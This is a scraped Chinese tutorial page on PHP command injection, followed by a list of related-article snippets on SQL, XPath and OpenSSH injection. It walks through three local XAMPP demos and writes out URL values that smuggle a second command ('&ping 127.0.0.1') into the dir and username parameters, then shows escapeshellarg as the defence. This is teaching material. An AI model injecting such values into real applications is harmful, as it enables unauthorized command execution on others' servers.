    (3) passthru:执行一个UNIX系统命令并显示原始的输出。

    (4) shell_exec:执行shell命令并返回输出的字符串。

    (5) "``"运算符:与shell_exec函数的功能相同。

     正常情况下,PHP的命令执行函数systemexecpassthrushell_exec“``”

    运算符会执行外部的应用程序或命令,然后显示输出的结果。但是黑客可以在这些函数的参数内输入可执行外部应用程序或系统命令来执行攻击,这就是命令注入(Command Injection)攻击。

     许多Web应用程序会执行外部命令,来辅助应用程序本身的功能。但是却没有仔细地验证所执行的是否是真正想要的命令,因此给黑客以可乘之机来执行任何指令。

     

    攻防实例一

    可以查看在c:\xampp\htdocs\example_code\source\code1\ex1-1.php中使用的是system函数执行windows系统dir命令,来显示URL参数dir所指定的子目录的内容。

     

    当点击演示1时,出现下图显示:

     

    黑客可以使用下列的URI来进行命令注入攻击:ex1-5.php?dir=. \&ping 127.0.0.1

    直接在浏览器中输入http://localhost:8080/example_code/source/code1/ex1-5.php?dir=. \&ping 127.0.0.1,结果显示如下:

    可以使用escapeshellarg函数来处理命令的参数,防止URI来进行命令注入攻击点击防护5,如图:

     

     

    攻防实例二:

    返回如图界面:

     

    可以查看c:\xampp\htdocs\example_code\source\code1\ex1-6.php文件,使用exec函数执行windows系统命令dir,来显示URL参数dir所指定的子目录的内容。

     

    点击演示二,结果如下图所示:

    黑客可以使用下列的URI来进行命令注入攻击:dir=.%5c%26ping%20127.0.0.1

    点击攻击5,结果如下图所示:

     

     

    攻击实例三

    c:\xampp\htdocs\example_code\source\code1\ex1-7.php中,使用的是passthru函数执行windows系统命令,读取URL参数username所指定的来访者账号,并显示来访者的登录日志的内容。

     

    在浏览器中输入http://localhost:8080/example_code/source/code/ex1-7.php后,显示结果如下图:

    可以使用下列的URI来进行命令注入攻击:ex1-7.php?username=tom%26ping%20127.0.0.1,

     当你点击攻击7时,有如下效果:

     

     

    可以使用escapeshellarg函数来处理命令的参数,防止URI来进行命令注入攻击

    点击防护7,如图:

     

    展开全文
  • SQL注入攻击原理与防御措施

    千次阅读 2022-04-30 23:42:18
    所谓SQL注入,就是通过把SQL命令伪装成正常的HTTP请求参数传递到服务端,款骗服务器最终执行恶意的SQL命令,达到入侵目的。攻击者可以利用SQL注入漏洞,查询非授权信息,修改数据库服务器的数据,改变表结构,甚至是...
  • SQL注入攻击原理及其防范措施
  • 二、Sql注入攻击的主要形式有两种,一种是直接将代码插入到与sql命令串联在一起并使得其以执行的用户输入变量。由于其直接与sql语句捆绑,故也白称为直接注入式攻击 二是一种间接的攻击方法,它将恶意代码注入要在表...
  • 命令注入讲解ppt.pptx

    2021-08-10 23:20:52
    命令注入的一些基础知识讲解
  • XPath注入攻击原理及防御 0x01 什么是XPath XPath 即为 XML 路径语言,是 W3C XSLT 标准的主要元素,它是一种用来确定 XML(标准通用标记语言的子集)文档中某部分位置的语言。 XPath 基于 XML 的树状结构,有不同...
  • 主要介绍了SQL注入原理与解决方法代码示例,小编觉得还是挺不错的,这里分享给大家,供需要的朋友参考。
  • sql注入攻击详解(原理理解)

    千次阅读 2018-01-23 12:30:39
    其实sql注入漏洞就是一个。作为一个菜鸟小程序员,我对sql注入的东西了解的也不深入,所以抽出时间专门学习了一下。现在把学习成果分享给大家,希望可以帮助大家学习。下面我们就来看一下。 一、什么是sql注入呢? ...
  • OS命令行注入主要是由于在执行命令时,由于使用不可信的数据来源来组装命令或者直接作为命令来执行造成的。如果程序运行时,没有遵守最少权限原则,由于攻击者可以控制执行的命令,所以,一旦被攻击者利用,就可以...
  • 浅谈“命令注入

    2020-05-13 22:47:07
    Command Injection,即命令注入攻击,是指由于Web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至Web应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法...
  • DVWA SQL注入攻击

    千次阅读 2022-02-28 16:41:10
    Dvwa sql注入实现
  • SQL注入攻击原理

    千次阅读 2019-06-12 16:02:46
    SQL注入攻击的危害性很大。在讲解其防止办法之前,数据库管理员有必要先了解一下其攻击的原理。这有利于管理员采取有针对性的防治措施。 SQL注入是目前比较常见的针对数据库的一种攻击方式。在这种攻击方式中,...
  • 主流数据库sql注入攻击原理与实践(图).
  • 一、什么是sql注入呢?  所谓SQL注入,就是通过把SQL命令插入到Web表单递交或... 黑客通过SQL注入攻击可以拿到网站数据库的访问权限,之后他们就可以拿到网站数据库中所有的数据,恶意的黑客可以通过SQL注入功能篡改
  • 命令注入漏洞

    2021-10-06 11:44:10
    攻击者可以使用命令注入来执行系统终端命令,直接接管服务器的控制权限。 在开发过程中,开发人员可能需要对系统文件进行移动、删除或者执行一些系统命令。Java的Runtime类可以提供调用系统命令的功能。如下代码可...
  • 一、SQL注入攻击介绍 1.SQL注入攻击简介 SQL注入就是指Web应用程序对用户输入数据的合法性没有进行判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库中查询,攻击者可以通过构造不同的SQL语句来实现对...
  • 命令注入漏洞(1)

    2021-01-14 00:41:39
    命令注入漏洞原理 其实命令注入漏洞也叫命令行注入漏洞,此漏洞是指web应用程序中调用了系统可执行命令的函数,而且输入的参数是可控的,如果黑客拼接了注入命令,就可以进行非法操作了。 靶机搭建 链接:...
  • SQL注入攻击介绍

    万次阅读 多人点赞 2022-03-20 20:00:48
    SQL注入攻击介绍 一、SQL注入攻击简介 SQL注入攻击是指,后台数据库操作时,如果拼接外部参数到SQL语句中,就可能导致欺骗服务器执行恶意的SQL语句,造成数据泄露、删库、页面篡改等严重后果。按变量类型分为:数字...
  • Oracle开发人员SQL注入攻击入门教程 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
  • OpenSSH_8.3-命令注入漏洞攻击与修复

    千次阅读 多人点赞 2020-10-23 12:05:08
    攻击原理 使用SCP中远程功能进行命令注入。 漏洞复现要求 OpenSSH版本 =<8.3p1 ssh连接密码 攻击环境 攻击方:kali:192.168.0.130 靶机: CentOS7:192.168.0.187 攻击测试 kali: 上传任意文件到靶机上,文件...
  • 攻击原理 sql注入危害概述 只要前段与数据库有交互的都有可能出现问题 SQL 注入式攻击技术,一般针对基于 Web 平台的应用程序或者APP程序 由于程序员在编写 Web 程序时,没有对浏览器端提交的参数进行严格的过滤...
  • 原理:程序应用有时需要调用一些执行系统命令的西数,如PHP中的system、exec、shell.exec,passthru、popensproc....命令注入攻击中,web服务器没有过滤类似system、eval和exec等西数,是该漏洞攻击成功的主要原因 ..
  • 一、什么是sql注入呢?  所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串...当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过
  • 本文深入介绍并讨论了SQL注入攻击的途径、分类和注入 的流程、原理等,结合目前普遍采用的攻击测试方法,提出了针 对数据库管理员、应用程序设计员和系统管理员对防范注入攻 击方法,极大限度地减少网站注入攻击的...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 21,482
精华内容 8,592
热门标签
关键字:

命令注入攻击原理